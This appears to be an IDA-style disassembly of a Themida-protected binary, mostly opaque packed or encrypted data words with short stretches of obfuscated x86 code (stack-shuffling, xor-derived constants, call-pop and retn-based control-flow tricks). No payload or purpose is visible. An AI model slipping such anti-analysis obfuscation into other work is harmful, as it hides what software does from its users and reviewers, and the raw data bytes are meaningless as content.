dd 0EA771EC8h, 84D373E8h, 0F0642FBAh, 0Eh, 1262F3Bh, 0EC340000h
dd 7F5CECBAh, 0F92F992Ch, 92000000h, 8D1787B3h, 0D9AC8919h
dd 0EDD2F149h, 3E3A0AD1h, 693C8425h, 5E3863Dh, 1E25AC6Dh
dd 0BED87FCBh, 0C09CB97Fh, 0E7000000h, 0C7DFC40Ch, 0BD075A37h
dd 207E218Dh, 0DE465C4Dh, 93B581A9h, 0F8A7EFE0h, 0D35516A6h
dd 36715D09h, 1DAD00D3h, 0A1CA43C5h, 0E5649D5h, 33D9EF91h
dd 266A5E46h, 3310A073h, 0D17DE6E0h, 844FCF86h, 782E77BFh
dd 528B7187h, 0BBE6A5Eh, 50F6B8h, 2AE30000h, 5E52EC14h
dd 5BAE616Ah, 1787B3C8h, 0FD87178Fh, 5528FBA3h, 0A9A64E64h
dd 3B9BB581h, 6BB65A68h, 0A76A844h, 0F7CAA737h, 0CBF50F67h
dd 979322A1h, 0CBD58282h, 0B770D14Fh, 5E5E7BA1h, 71DEE27h
dd 275E5EE1h, 7BCEA154h, 1EB9h, 492F0400h, 34000000h, 0B9CFB9ECh
dd 0B581A953h, 0F0805306h, 0A939DFF5h, 792CB581h, 7DC053A6h
dd 92EA7A24h, 0B581A955h, 0CD0D16D8h, 0B512CAD4h, 37C487B3h
dd 1214AB8Dh, 0B7EFFB09h, 94E0B581h, 642FC7C4h, 0FFFEEFB2h
dd 0B62FFDFFh, 92000002h, 897A247Dh, 0A952BAD0h, 5407B581h
dd 0BAE77101h, 0A7376F37h, 4D06F7CAh, 81A9D137h, 7ED184B5h
dd 0C281B2C6h, 0C5DABBD1h, 762FBB93h, 6C4CB860h, 43FAAD4Ch
dd 0FA70D3E2h, 60055827h, 63C51DADh, 694C6C16h, 6BB3F46Dh
dd 1DDE6E38h, 7AC19947h, 0B205D835h, 429EF166h, 47836Ah
dd 28700000h, 41D42777h, 0D2C386B3h, 93C10FBCh, 99CE4BBh
dd 0F2A54A9Dh, 0DDB38201h, 2A07ED03h, 873A4C6Ch, 660FE8D0h
dd 7F4ABBD0h, 0B70ADD4Eh, 0C1E42C27h, 0E04492E5h, 0E84C6C4Dh
dd 80D777ECh, 0F46A41DAh, 0C0h, 96247D3Fh, 795588DBh, 7808DB1Ah
dd 61F1B5EEh, 44D4CAD7h, 0FFB7E7BAh, 811E4CE7h, 3D9E1DB5h
dd 0CAC9CBC7h, 0B487178Ah, 0A7376F34h, 0AAF777CAh, 0E8BB03F4h
dd 0FE512EBEh, 42013246h, 0C9DF9851h, 0B581C823h, 0C0E36316h
dd 674593E6h, 1ABB9634h, 752E7667h, 1C17FD13h, 974A4C6Ah
dd 1A8BD3C4h, 0CC1FFC8Ch, 0CDD9CA14h, 0E96BD40Fh, 6E46DE30h
dd 462h, 1BD3CBD7h, 1AD2D4D1h, 18D0D6D0h, 14CCD2CEh, 15CDD9CAh
dd 673CCBA5h, 623D873Fh, 6A3A843Ch, 673A843Ch, 645F7F37h
dd 96C1A64Eh, 0A01D9BB3h, 0C880267Dh, 0E2E0C50Dh, 23AC8F1Eh
dd 5FB285B1h, 0DEF8C2DFh, 69B0583Ah, 2A873F12h, 0EA7A247Dh
dd 0A55D4160h, 9FFFA2EAh, 95DF320Fh, 0FBB4A564h, 81A93FE5h
dd 2C7F32B5h, 6B3A823Bh, 219AE83Bh, 16BB93D4h, 0AB7BD363h
dd 294C6C7Ch, 0C5D9C60Eh, 65E37872h, 0C5D9C854h, 0C8D85835h
dd 0FC1203D6h, 427E0147h, 34BDE42Ch, 0E3633670h, 0E98EE1BDh
dd 7BC37E36h, 11EE7E28h, 0A04774BEh, 41605A9Bh, 84A65Dh
dd 3F273BF2h, 2E4BCCB5h, 9B546A5Bh, 0AC4842F4h, 0E6C008F9h
dd 0EF008C0h, 5C58453Ch, 0EA65E48h, 50h, 3D530C71h, 0B581A9D7h
dd 3684D78Ah, 0B581A9F2h, 38F0D3E2h, 5EEEB8EEh, 81A91E06h
dd 3F2428B5h, 772ECBDBh, 0EFC29F2Fh, 0EFB7ED37h, 0A9DE075Fh
dd 247CB581h, 0FBCED8CDh, 0E1C5E16Bh, 44DD0151h, 74EDF141h
dd 0B5A600A4h, 0DB6B336Dh, 96F3ABFEh, 479B277Dh, 0E980CF4h
dd 3AF4C057h, 6D46ECBCh, 29FCCF42h, 52D7B938h, 6E4CFC61h
dd 11908B1Bh, 70356270h, 9E987F36h, 774A5C49h, 0A600A424h
dd 8E188C16h, 913174FEh, 581D607h, 494679Dh, 0B7073D43h
dd 0FD843D12h, 0F93F46DBh, 188C4CD5h, 4A559D8Eh, 31490154h
dd 0B581A8F3h, 0B94C0C58h, 4A2A642Fh, 17FFFFFFh, 198D165Eh
dd 81A025CBh, 126518B5h, 7A247D7Fh, 5D4160EAh, 237B246Ch
dd 0AB63B693h, 0B6A76A97h, 93C5F7A0h, 0BCAD60BBh, 99280F3Dh
dd 0EF4226E0h, 57DD075Fh, 0AFAB4C6Ch, 0AC76F5AAh, 0F79F26B0h
dd 0F95EAAFDh, 7B6A421Ch, 34h, 1686B3C6h, 5445188Eh, 93C18D3Eh
dd 881E66BBh, 0C626CB1Eh, 66F6C9DDh, 6C41DA0Eh, 0ADB6B24Ch
dd 41D6B6A1h, 70108F6Ah, 0CBE1FEA3h, 0E42EF043h, 79000000h
dd 0EA7A247Dh, 0EBB64360h, 734623B3h, 4DB3C982h, 0B581A9h
dd 0E06AFA4Dh, 0C34DDDC1h, 0D3E9A2DEh, 0B581A92Dh, 0F91F6D20h
dd 6CB581A9h, 162EE6B9h, 0B581AEA3h, 0C9BAE4BDh, 0D413464Ah
dd 50A3E135h, 4B534E98h, 0D2E8A15Ah, 4A7ED12Ah, 0F61E6C1Fh
dd 6B4A7ED1h, 81D565B8h, 8AA09170h, 446CB4F1h, 20DB9346h
dd 0FCAB5167h, 0EB9E4C6Ch, 5E3D4E98h, 0D03576Dh, 7F32427Bh
dd 495D468Eh, 63899F58h, 0D646590Fh, 5D18D023h, 86169015h
dd 6EFEA8FCh, 0EB6BBE91h, 52BAD0B8h, 746590Fh, 0DAC38154h
dd 883ADA78h, 1A818F0h, 11910000h, 1A8BD58Dh, 1C8AD48Ch
dd 1888D28Ah, 1F84CE86h, 115FCF87h, 41F9ADF6h, 3EF6A8F7h
dd 3EF6B0F4h, 39F1ADF4h, 0E0081E19h, 55B396C2h, 267D5AD7h
dd 237EC880h, 0B366C37Bh, 0BCD2C386h, 0BB93C10Fh, 95ED7D30h
dd 4C6C4153h, 0A7FE4639h, 10F80EFFh, 454C6C41h, 0DC453F92h
dd 41D72730h, 0B14D6Ah, 7D980000h, 0EFEA7A24h, 52A5F9A7h
dd 7E28D1D2h, 1C645528h, 0B08D1D89h, 0C275CD5Dh, 1CB581AEh
dd 0E0281985h, 7350E0C6h, 831E6820h, 0A378B1Bh, 4B405647h
dd 0B0446C37h, 31823868h, 0DEE2BF97h, 20E17144h, 323DBFAFh
dd 3DBD90F8h, 47EC3F67h, 8224A394h, 480E0CC3h, 5D71297Ch
dd 667C6D2Ch, 427B4AABh, 0B4FCEDA0h, 0B5FFB7EFh, 83FAB8EEh
dd 0B53ADAADh, 0CC451Dh, 356D0000h, 3E67B169h, 4066B068h
dd 3C64AE66h, 4360AA62h, 353BAB63h, 1DD5D1D2h, 1AD2CCD3h
dd 1AD2D4D0h, 15CDD1D0h, 3CE4FAF5h, 31B396C2h, 267D36B3h
dd 237EC880h, 7D66C37Bh, 81829624h, 66DE0410h, 28790393h
dd 99AABE76h, 2381C9BAh, 6A32F383h, 0F07EE848h, 0C5B609DCh
dd 99D17AAFh, 0C8580BBBh, 57633Eh, 382A7A23h, 0C711C99Ch
dd 3934C4DAh, 66826A80h, 20B74C68h, 81F51177h, 0CD20F348h
dd 727F657Fh, 0C45D5920h, 20118D14h, 4ADACCD8h, 18621A6Dh
dd 0FB851589h, 8F69F9A5h, 0C89D1594h, 6FAAAA1Bh, 0DD6D31h
dd 7BE0DA2Dh, 0DCC2DE26h, 6980989h, 19D044Eh, 0FF829110h
dd 1498B60Ch, 35931C1h, 0BC000000h, 257D13AEh, 425FE979h
dd 6242CC5Ch, 752AB444h, 940F9929h, 0ABF88212h, 0BFE16BFBh
dd 0E1C54FDFh, 0FAAB35C5h, 68391CACh, 1F10h, 68242C89h
dd 4BE4h, 50241C89h, 405E089h, 83000000h, 48704E8h, 2C895C24h
dd 27B85024h, 4869BB41h, 0A3E3502Dh, 8BC38963h, 0C4832404h
dd 2C8B5404h, 4C48124h, 51000000h, 8B9h, 89E90100h, 240C8B19h
dd 4C481h, 2C8B0000h, 0E7895724h, 4C781h, 0C7810000h, 4
dd 5C243C87h, 5B2434FFh, 4C481h, 9FE90000h, 0F2FFFBDDh
dd 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 0E1B8CDA1h, 306176Ch
dd 73E0FFC5h, 0F4571FA0h
dd 6D201046h, 8D30A1F8h, 176E658Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0AD7E6DAAh
dd 119589A3h, 8906121Ah, 1209A18Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E9B6DE4Ah
dd 0Fh, 0F1C97A96h, 121BD86h, 6FAF6EC9h, 0C791520Eh, 12050585h
dd 618806h, 86F08000h, 1BD985C7h, 612h, 0BE90000h, 91000000h
dd 550F9F58h, 18313D48h, 0B5FF2024h, 6122C81h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C1C35545h, 26523554h
dd 13A1B58Bh, 95FF0612h, 6121B31h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0C0C35040h, 0E582AA6h, 4D7100A5h
dd 95FF006Ah, 61219CDh, 6DEBC08Bh, 122C875Eh, 731E74CFh
dd 70186DF4h, 7F6D2527h, 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h
dd 8B06B56Eh, 0D781C545h, 0EE2AE4D8h, 34EF1E78h, 139BBBC7h
dd 0C941669Eh, 0BFB4C6AEh, 3DFF93BCh, 0A0849B6Eh, 0B412DBA4h
dd 0B19D05EBh, 674F3929h, 79A75DF3h, 0B07F4706h, 19E744Fh
dd 9C788CA8h, 71F74C06h, 790F133Ah, 0E6D1555Eh, 76B79A30h
dd 21E932h, 0EE830000h, 2EBh, 6 dup(0)
dd 0E9000000h, 537h, 14B21E11h, 28C63024h, 40DE4038h, 56F45A50h
dd 6B097166h, 3C31A3FEh, 4F4636D4h, 645D4DEBh, 7C766604h
dd 2081801Eh, 7687AFh, 31839676h, 33A4150Fh, 6FE9070Bh
dd 292CC412h, 78167E73h, 2D308E88h, 9B0C7D77h, 6FE90773h
dd 0E9942C7Ah, 0B6B91B13h, 33A1CC60h, 44D111D8h, 4D41F7DAh
dd 0E283E0E3h, 0FDED4870h, 0B7AF5184h, 4FF05AC2h, 1F17ED6Fh
dd 0FA64BABDh, 1FCA2822h, 0E731B0ADh, 127CE6CBh, 241BF194h
dd 857E56C0h, 0DB087A25h, 42D69256h, 0C3B3319Bh, 0E9BF6ACAh
dd 3F228CF4h, 6A9564D6h, 5BA42AC4h, 5E2219F1h, 0BF6A0268h
dd 799DC536h, 5EAC6FE9h, 0FBBA11F4h, 0E0534C1Bh, 79BEE657h
dd 7FCD6FE9h, 0E979C4ECh, 0E57DCB6Fh, 9F5D5747h, 0FEA941ABh
dd 63010375h, 5C3F296Eh, 0EA01A1C9h, 638BFC6Fh, 6A6FEA01h
dd 65CF1D1Ch, 1043182h, 0FEB56FEAh, 74F34A1Eh, 543AD81Eh
dd 0E0000000h, 0B4B7150Fh, 0E9073963h, 4D2DE46Fh, 1D7B2279h
dd 169D8h, 0F0F0000h, 0F8AEB11Bh, 2E979A04h, 94FE6058h
dd 5D60C6BCh, 4C4FADA7h, 3639A196h, 5AF223E4h, 0B00E775Bh
dd 9A817F7h, 0AFA37252h, 0BDB7A745h, 0AC1EC15Fh, 269079D9h
dd 5D574F2Ah, 0F5995FFh, 0F9AFB21Ah, 7C989B05h, 1F14E3C3h
dd 2F2919B7h, 0DC65CED1h, 0E907436Bh, 92FC4A6Fh, 5D60C2BAh
dd 3C10F0C9h, 0D81D80F5h, 6B1Ch, 1A0FC200h, 6FD1C99Fh
dd 0E907B4DCh, 756DBB6Fh, 7D801880h, 6A6DCFC7h, 0F476560Dh
dd 0C3C6241Eh, 362B036Dh, 1B8D30CEh, 6FE006ABh, 0D8B01A1Bh
dd 0C2787BE3h, 0CF6366CCh, 0B9416F6h, 0E9D4729Ah, 0C12B796Fh
dd 1E4D9DE4h, 3FC4D8h, 0F6A0000h, 0F9AFB21Ah, 399DA000h
dd 66C8C096h, 0F97B5BFCh, 73692B23h, 330B750Dh, 0E438D63Eh
dd 3A62D35Ch, 416FE907h, 0BDB189F3h, 0D2FF5053h, 836FE907h
dd 0C118ECCCh, 8D81D7Ah, 1, 0B5170FAEh, 0DC3A340Ah, 361983D9h
dd 25288680h, 0E1B325CEh, 44D2AEB4h, 9C7C1D87h, 0D573D5CDh
dd 0BB64D40h, 0FBC5419Ah, 0F7FA4869h, 4BE94741h, 75DDD2A8h
dd 0DB39330Bh, 0BB5D87D8h, 8C175FBh, 15F5928h, 0BB797363h
dd 0F20A64C4h, 0D9E1AE3Fh, 3DA6A941h, 421B43B4h, 312975FBh
dd 1882D0CFh, 0E5E84640h, 73B426C9h, 47DC2A09h, 9E7E1F89h
dd 0D977D5CFh, 30138DE4h, 142D4DEh, 0B92B0000h, 95DFE0A8h
dd 0E12ABE97h, 0B38898CCh, 6A134FB9h, 0C435E063h, 69FB347Bh
dd 0F3C974C2h, 3E9497FDh, 413BF1D4h, 6E6238E3h, 27980104h
dd 75FB3BFFh, 0BE28C00Eh, 0F8565040h, 0E7453FF5h, 0E6C663Ch
dd 0FB5D550Bh, 0FA16F963h, 98926141h, 50A79C3Ah, 45DE2FB0h
dd 7D117B6Fh, 0FA4DDE1Eh, 0A43AD56h, 43h, 0DC6F6AB0h, 0F9B8C031h
dd 39871016h, 6BDE536h, 64C7EFE9h, 486511F2h, 973DDC2h
dd 94068868h, 3B04A055h, 87046E81h, 0DD4EF988h, 901658D5h
dd 0E26B1664h, 0E9A74971h, 9802506Fh, 9A3B1Ah, 6AE90000h
dd 5B5BCD63h, 0C6E1107Ah, 0EAD90194h, 92E06FE9h, 55C64FFAh
dd 6FE9EA2Dh, 0F984EE3Ch, 0FBFE7388h, 41449269h, 0A80A02D8h
dd 0E6C663Eh, 5788F163h, 6CDD9BBFh, 0B70D1076h, 0C933271Fh
dd 0F7F1E15Fh, 0DDE04039h, 83ECEF87h, 5154B4ADh, 0FF1E91FBh
dd 6775FB06h, 0C34CCEAEh, 0FB072A52h, 38E33175h, 0FB079FC7h
dd 0F660AE75h, 28C6241Eh, 5E099893h, 1068EDEDh, 23CE1C70h
dd 0F0F3554Dh, 974D309Ah, 0BE943F9Dh, 14F761C9h, 0AA1EFEBDh
dd 47520A3h, 6A03D704h, 0CB1FBD0Bh, 35E0636Ah, 0A539F6C3h
dd 0CE79FBCEh, 0E92D355Dh, 8CF6446Fh, 8E909001h, 8A1369FEh
dd 4FF119h, 0A10BFF76h, 0E849489Eh, 4F4F77h, 78105E76h
dd 0DEE12F0Eh, 32D02E28h, 6D95068Fh, 8376004Fh, 0C627268Eh
dd 4F2D55h, 56EE3C76h, 0BC1A14ECh, 0E52F68B9h, 7BE712Ch
dd 0D7CFA527h, 0C7BC7275h, 8B33C75Fh, 7B07C05Dh, 0F6F0C832h
dd 8157FA98h, 0CF252888h, 22938D65h, 0D4A889B1h, 0AA429072h
dd 95FBF1A7h, 9C7C3B92h, 0D775D3CDh, 0E48FEDE7h, 4BB5150Eh
dd 0DC368h, 99220000h, 0D4A80028h, 57C10F72h, 0F59951Bh
dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh
dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 81E68956h
dd 4C6h, 4EE8300h, 8B243487h
; ---------------------------------------------------------------------------
and al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 381Dh
mov [esp], eax
mov edx, 32681883h
push ebx
mov ebx, 40690F8Dh
xor edx, ebx
pop ebx
xor edx, 15321D6Ah
inc edx
and edx, 750F7B62h
shr edx, 7
xor edx, 6DD6916h
push esp
mov eax, [esp]
add esp, 4
push ebp
push edx
sub dword ptr [esp], 1631587Bh
pop ebp
add ebp, 1631587Bh
mov [eax+8], ebp
pop ebp
push dword ptr [esp]
pop eax
add esp, 4
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_54EA15
; ---------------------------------------------------------------------------
dw 79F6h
dd 3E140D67h, 0E182B9Eh, 0B816E765h, 617739Eh, 0E0FFC503h
dd 48100B96h, 4DC05F64h, 59CD8B6Eh, 200C9F5Ch, 5A97D815h
dd 41CD267Eh, 37847685h, 44348B23h, 62C8A86Ah, 2E59DAAh
dd 3051F403h, 255C7715h, 0E48A3FBh, 3730145Eh, 1C80B427h
dd 79D3BDF3h, 3DB4AF9Dh, 1ACFEF1Fh, 0A3F1B2Dh, 227D68C8h
dd 5F1CA534h, 0BE8h, 6A1B2200h, 9BA663D2h, 8F70305Ch, 6E958F8h
dd 48000000h, 0DD286A69h, 4EC0812Fh, 0F500005Ah, 0BBC2CBBFh
dd 0AAC78142h, 66BD4453h, 0FF984BBEh, 0E9816630h, 0F5A0920h
dd 583h, 0E5805300h, 0EA815916h, 252F02A4h, 0D43FE681h
dd 0C2812689h, 62D42D88h, 3BEAC281h, 66601D1Dh, 6112C5B9h
dd 35BB1089h, 8371500Dh, 0F38004E8h, 1EF834Eh, 0FFB9850Fh
dd 830FFFFFh, 3, 8DDEB70Fh, 1775C88Dh, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 6A15B085h, 105D958Bh, 8D890612h, 61209A1h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7EC35646h, 0C38B6633h
dd 50585C7h, 706C0612h, 0BF660000h, 85C7CEE6h, 6121BD9h
dd 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_59DFA3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59DFA3 proc near ; CODE XREF: Themida_:0059DF9Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_59DFA3 endp
; ---------------------------------------------------------------------------
sbb bh, [ebx-39h]
or ds:8DAC97F4h[ecx*4], al
sub edx, 2A868002h
push dword ptr [ebp+6122C81h]
mov eax, ebx
call dword ptr [ebp+6121B31h]
mov [ebp+6120435h], ecx
push 0
call dword ptr [ebp+61219CDh]
mov eax, eax
jmp short loc_59E050
; ---------------------------------------------------------------------------
mov dl, 0A4h
sub eax, 68E7872Fh
mov edx, [edi+20B440Dh]
retf
; ---------------------------------------------------------------------------
db 0CEh, 0FCh, 0FBh
dd 495DF507h, 0CDDBD521h, 1621D88Ah, 374D21D1h, 11F76C32h
dd 20A7DEDDh, 1817879Fh, 0F0CE775Ah, 2DDC1C0Fh, 5AEBE3B7h
dd 0E989AA78h, 89F373ABh, 0BF265D40h, 6C46973Eh, 0A5E94ABh
dd 2BC7A47Ch, 39F7C93h, 0E32E5D78h, 7194C50h, 0BDA5FDF3h
dd 9F8DF15Eh, 6945172Ah, 0D2B02CEDh
; ---------------------------------------------------------------------------
loc_59E050: ; CODE XREF: Themida_:0059DFE1j
lea ebx, [ebp+61209EDh]
mov eax, 39h
mov [ebp+6121C51h], eax
call $+5
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_59E0AC
; ---------------------------------------------------------------------------
align 4
dd 0Dh dup(77E600h), 0FF77E600h
; ---------------------------------------------------------------------------
loc_59E0AC: ; CODE XREF: Themida_:0059E06Ej
lea ecx, [ebp+617779Fh]
mov eax, [ebp+6121B09h]
mov [ebp+61209A1h], ecx
push 0
push ebx
call sub_59E0C9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59E0C9 proc near ; CODE XREF: Themida_:0059E0C1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_59E0C9 endp
; ---------------------------------------------------------------------------
db 3Dh, 0FDh, 1Fh
dd 580E554Dh, 0BD019E72h, 61203E9h, 50585C7h, 66480612h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0B0F8D0C3h, 0D985C741h, 6121Bh, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 933BC355h, 0BEB7524Ch, 0FE12DAEh, 8A0FF7B7h
dd 3, 0FF2AD480h, 122D69B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0E0BEB1F8h
dd 10E9C806h, 4F000000h, 72EE8489h, 0EC72C644h, 8765EE01h
dd 0FF3591FDh, 121B3195h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0D6CC0D2Fh
dd 6AD08Bh, 19CD95FFh, 0C08B0612h, 8471EEBh, 0DE4CBF84h
dd 2746B000h, 87D441ABh, 0B8C09C32h, 0BAA35F4Bh, 9F55242Bh
dd 8E659A2h, 182E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 29C9C20Ah, 619D3521h
dd 1C8C0F4Ah, 60000000h, 14E8h, 69FD4F00h, 0D44B0FF5h
dd 56699C11h, 5B61DCB0h, 0A58FD808h, 8D615B37h, 1778C2B5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 3972F59Ah, 0E9D82102h, 8, 5D7B884Bh, 3CA8D13Fh
dd 4986858Dh, 66600615h, 14E9D88Bh, 66000000h, 0BE682420h
dd 8E3E84D9h, 4EDC27E1h, 7CA5B258h, 61055E29h, 0E860D0FFh
dd 14h, 0F3CC9857h, 0D50490h, 1E7EECC1h, 49D822D5h, 35A8D056h
dd 72B45FF5h, 6AC361h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0B355D0C3h, 0E6A64452h, 18D0F0Fh
dd 0FC000000h, 0BE9h, 3A087D00h, 0F1756AF4h, 349BBE9Ah
dd 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 14C4C355h, 5FF9BF17h, 60F86001h
dd 8C0Fh, 61610000h, 8E9h, 0F5E9CB00h, 0AF89788Fh, 4C1F650h
dd 39840Fh, 8BF80000h, 32CB8BFBh, 0FD75AEC0h, 0D9F7CF2Bh
dd 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h, 8D1874C0h
dd 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h, 8B09EB00h
dd 0B8E4EB00h, 0
dd 0C7F9F8CFh, 17792185h, 1013F06h, 60EB00h, 17h dup(0)
dd 0E9000000h, 0A8Bh, 0A7FE9h, 811F6800h, 36E90617h, 68FFFB06h
dd 6178263h, 0FB062CE9h, 82CA68FFh, 22E90617h, 0ECFFFB06h
dd 0FFEF8DF9h, 1303A10Bh, 2B1BB91Bh, 4131CF35h, 0D946E44Ch
dd 0AF170C7Eh, 0C62A2111h, 0DF3F3828h, 0F9575141h, 8AFB5C5Bh
dd 76008062h, 5C045669h, 73A62D3h, 0F3416FE9h, 56BAB189h
dd 1C14EA53h, 0A29250BAh, 0B9A947ABh, 0A85E61BFh, 964C4FAFh
dd 82383B9Fh, 0A47A258Dh, 0FBDE48AEh, 0E5E85045h, 0D0D3392Fh
dd 0BDC0221Ah, 50491307h, 0FF97EDF0h, 0CD2193FCh, 240F7E0Fh
dd 5853D03Ah, 28AD1EC9h, 0D969FF79h, 87DF0778h, 0A0EE7600h
dd 93875D08h, 0F6F68B29h, 1B4FC06Bh, 2A760087h, 8921857Ch
dd 50471D86h, 874068D9h, 14F7600h, 2D27FF69h, 0FDD31CFh
dd 45BB715h, 0E6616AEAh, 0C7FB0952h, 0C4EC5DA3h, 0CB6FE985h
dd 151E57Dh, 1B903ABCh, 69D12DC5h, 86C30A15h, 2698D51Dh
dd 0A240B509h, 274FC0ECh, 366CE939h, 0ADE650E8h, 46h, 0E2616A53h
dd 9676137h, 0D35C639Fh, 7B1D94Ah, 6AB86FE9h, 7658D00h
dd 0C6746FE9h, 16686BCFh, 0B7E0D1A9h, 524AE2D7h, 0B661F959h
dd 1B85E9E0h, 0F225CDFh, 5555B11Bh, 1D2019h, 0A97F0000h
dd 0F84E51AFh, 616A528Eh, 0EB5C86E2h, 6FE907C3h, 5C3A9624h
dd 0B11B0F22h, 5C195555h, 0C22C8E86h, 10BB4645h, 0FB043E9Fh
dd 0FE014F69h, 0FB0C81ADh, 0E0B975h, 2F7FD52Ch, 1421CDEh
dd 0EA730000h, 0FB005179h, 0A00A5875h, 0DF626A64h, 793C334h
dd 4C9A6FE9h, 3B999349h, 2F24FA9Dh, 0F215DC7h, 45BB715h
dd 0D063299Bh, 37B40E14h, 616A91CDh, 156986E2h, 1D86C30Ah
dd 0E62698D5h, 0D6A09789h, 2D3069D3h, 0D6000000h, 8A82616Ah
dd 5C349028h, 0E907C3EBh, 0D17CCA6Fh, 795AC25Fh, 87213C5h
dd 0F225CCCh, 3006B11Bh, 2E6AD43Ah, 2B201955h, 0CE000000h
dd 86E2616Ah, 7C3EB5Ch, 951E6FE9h, 0E907FC24h, 31A2036Fh
dd 6FE90709h, 322AC210h, 0E66BD53Dh, 225CFC58h, 55B11B0Fh
dd 626A1955h, 87C334DFh, 966FE907h, 958F4548h, 0F459937h
dd 45BB715h, 62D35CEAh, 6FE9073Ah, 0C89F341h, 69288403h
dd 86C30A15h, 40EAD51Dh, 90000000h, 86E2616Ah, 3A62D35Ch
dd 416FE907h, 8DFE89F3h, 6FE90765h, 96FCF2C8h, 0AA9F4D2Ch
dd 51E93F42h, 23EA5CF5h, 0DE9C5AB8h, 0F117BACDh, 0ED85DBD2h
dd 0FBEF883h, 5555B11Bh, 2C2019h, 5CCE0000h, 73A62D3h
dd 0F3416FE9h, 84030C89h, 0C3EB5C28h, 246FE907h, 0D35C3A96h
dd 0A0A305FDh, 8C8FF3EAh, 0F8349E36h, 55B11B0Fh, 0BE201955h
dd 0CE000000h, 92E3626Ah, 0D6B6559h, 1520B40Ah, 0FDA840A6h
dd 45A59E74h, 8A3868DBh, 9576FE9h, 0F8565006h, 150F065Ah
dd 865C5BB7h, 0D42A2D8Dh, 6A6D876Ah, 365ECF61h, 4C6FE907h
dd 9AF0F353h, 59B54D9Bh, 2E90865Ch, 0B98E28DFh, 0EA54EC36h
dd 0C30A186Ch, 0EAD51D86h, 41h, 0E2616A90h, 0C3EB5C86h
dd 1E6FE907h, 84EE5048h, 5CFB57A5h, 5F7926EAh, 21926AF2h
dd 6FE9BDF9h, 0B01AB200h, 1B0FEB25h, 865C55B1h, 0C22B2E8Ch
dd 0E9072951h, 4AE2306Fh, 20124EE0h, 25h, 0E2616ACEh, 8686137h
dd 9304AF05h, 6FE9076Bh, 7EBA2472h, 7C3EB5Ch, 96246FE9h
dd 0F225C3Ah, 5555B11Bh, 0B7150F19h, 7D754BB4h, 0E0D9B11Bh
dd 693FE280h, 6189FA73h, 686FE907h, 4018821Ah, 7CE5E846h
dd 2DA37C0Ah, 0E8525525h, 0E9874B75h, 769616Fh, 0F5554E04h
dd 453F09FDh, 0F68EE4E7h, 3E1ED7F3h, 977736CFh, 0D270CEC8h
dd 878AE8E2h, 3BBC796Fh, 4077165h, 0C3A344AEh, 0FE9CFAF4h
dd 2B91855Bh, 0F775BEC6h, 0A20CA45Ah, 0F09B2625h, 0FB841E7Fh
dd 76216F69h, 0BF30ABA0h, 75FB8C97h, 0BDC058A6h, 0C91AFD67h
dd 75FB8C9Dh, 481CFCD5h, 0DE2FFFF1h, 2138h, 150FDE00h
dd 12830CB7h, 6FE907EAh, 5639A3F1h, 0E907DD05h, 0B393526Fh
dd 0EE8CEAE4h, 197F754Bh, 150F73AFh, 12830CB7h, 6FE907EAh
dd 5639A3F1h, 0C671F0FBh, 7A4CC3Dh, 8EFF6FE9h, 6FE90766h
dd 0DA282775h, 0A374E570h, 0EA69FE7Fh, 751DC0A0h, 6FED349h
dd 4FA5A812h, 898419B7h, 0F0C64FFAh, 0B72A94FAh, 70120A56h
dd 0E911820Bh, 0F06FEE0Ah, 0AB5938A2h, 0FA5053B1h, 0E20E5F62h
dd 1A6FEE0Ah, 368D6141h, 7DD8227Eh, 34h, 90865C23h, 67D1272Ah
dd 0B45FE2EAh, 8184E6DEh, 0C536C12Bh, 6FE9078Dh, 0EDC36EBCh
dd 368C8FF9h, 736B41CCh, 7658DFEh, 26746FE9h, 1211F08Eh
dd 0BF000000h, 34DF626Ah, 0E90787C3h, 9D48966Fh, 0CF6DCFC7h
dd 1B3207Bh, 6ACE0000h, 482DE6Dh, 79A1129Bh, 806FE907h
dd 0F8CC832h, 695BB715h, 86C30A15h, 0C298D51Dh, 0C4FD67CBh
dd 7Ah, 0EC4C451Bh, 6D6A4682h, 0EB5C82DEh, 6FE907C3h, 0EF4F481Eh
dd 0DC3E36ECh, 81EB83D9h, 0D02458A2h, 0D287A561h, 0DB35C3Eh
